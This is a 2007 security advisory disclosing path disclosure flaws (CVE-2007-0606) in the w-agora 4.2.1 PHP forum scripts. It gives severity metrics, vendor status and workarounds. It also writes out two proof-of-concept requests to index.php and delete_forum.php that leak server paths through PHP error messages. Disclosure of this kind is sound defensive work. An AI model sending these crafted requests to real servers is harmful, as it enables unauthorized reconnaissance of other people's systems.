w-agora version 4.2.1 Multiple Path Disclosure Vulnerabilities

["Jesper Jurcenoks" <jesper.jurcenoks () netvigilance com>]

netVigilance Security Advisory #14

w-agora version 4.2.1 Multiple Path Disclosure Vulnerabilities 


Description:
w-agora is a set of scripts written in PHP. This package is intended to
allow users to share, exchange and publish information, files and
discussions over the web.

Multiple path disclosure vulnerabilities allow the attacker to disclose
the true path of the server-side scripts.

Advisory URL: 
http://www.netvigilance.com/advisory0014

External References: 
Mitre CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0606
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0606> 
NVD NIST: http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-0606
OSVDB: 31668 <http://www.osvdb.com/displayvuln.php?osvdb_id=31668>
http://www.osvdb.com/displayvuln.php?osvdb_id=31668 
OSVDB: 31669 http://www.osvdb.com/displayvuln.php?osvdb_id=31669 

Summary: 
w-agora is a set of scripts written in PHP intended to allow users to
share, exchange and publish information, files and discussions over the
web. 

Security issues in the product allow attackers to gather the true path
of the server-side scripts. 

This vulnerabilities can be exploited only when PHP register_globals is
On.

Release Date: March 19, 2007

Severity:
Risk: Low
 
CVSS Metrics
Access Vector: Remote
Access Complexity: Low
Authentication: not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 2.3
 
Target Distribution on Internet: Low
 
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated
 
Vulnerability Impact: Attack
Host Impact: Path disclosure.


SecureScout Testcase ID:
TC 17941

Vulnerable Systems:
w-agora version 4.2.1

Vulnerability Type:
Program flaw - The delete_forum.php and index.php scripts have flaws
which lead to Warnings or even Fatal Errors.

Vendor:
Author Marc Druilhe. 

Vendor Status: 
The Vendor has been notified on January 30th 2007, and has not
responded.

Workaround:
Set PHP register_globals to Off.

Disable warning messages: modify in the php.ini file following line:
display_errors = Off.

Or modify .htaccess file (this will work only for the apache servers).

Example: 

Path Disclosure Vulnerability 1:

REQUEST

http://[TARGET]/[w-agora-directory]/index.php?bn[]=1

REPLY

<!--error--><br />

<b>Warning</b>:  basename() expects parameter 1 to be string, array
given in <b> http://[TARGET]/[w-agora-directory]\index.php</b> on line
<b>29</b><br />

<script language=JavaScript
src='/errors__/phperror_js.php'></script>ERROR_NO_CONFIG_FILEconf/site_a
gora.php

Path Disclosure Vulnerability 2:

http://[TARGET]/[w-agora-directory]/delete_forum.php?remove_site=1&cfg_d
ir=1&bn=1&ext=1&bn=&site_cfg_file=1

REPLY

<!--error--><br />

<b>Fatal error</b>:  Call to undefined function:  msgform() in <b>
http://[TARGET]/[w-agora-directory]\delete_forum.php</b> on line
<b>22</b><br />

<script language=JavaScript src='/errors__/phperror_js.php'></script>

Credits: 
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com <http://www.netvigilance.com> 

 

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